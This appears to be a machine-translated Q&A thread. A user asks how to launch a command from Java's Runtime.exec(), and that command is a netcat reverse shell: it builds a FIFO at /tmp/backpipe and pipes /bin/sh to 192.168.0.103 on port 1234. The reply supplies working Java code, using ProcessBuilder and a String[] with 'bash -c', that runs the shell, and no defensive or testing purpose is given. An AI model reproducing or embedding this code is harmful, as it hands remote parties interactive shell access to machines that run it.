qre*_*0ct 0 java linux bash runtime.exec
我需要从 Runtime.getRuntime().exec() 内部运行以下命令:
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
Run Code Online (Sandbox Code Playgroud)
我应该以什么格式将其传递给正在运行的 java 程序,该程序包含以下行:
Process localProcess = Runtime.getRuntime().exec(myStr);
Run Code Online (Sandbox Code Playgroud)
其中 myStr 是我要执行的上面的整个命令?
我已经尝试过的事情:
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
Run Code Online (Sandbox Code Playgroud)
给我错误:
无法运行程序“[”/bin/bash”、“-c”、“/usr/bin/mkfifo”:错误=2,没有这样的文件或目录
如果我只是从终端运行命令:
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
Run Code Online (Sandbox Code Playgroud)
它的运行就像一个魅力,但不是通过runtime.exec()。
小智 6
尝试使用ProcessBuilder而不是Runtime.
试试这个:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
Run Code Online (Sandbox Code Playgroud)
cmd是保存 shell 命令的变量。
更新:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
Run Code Online (Sandbox Code Playgroud)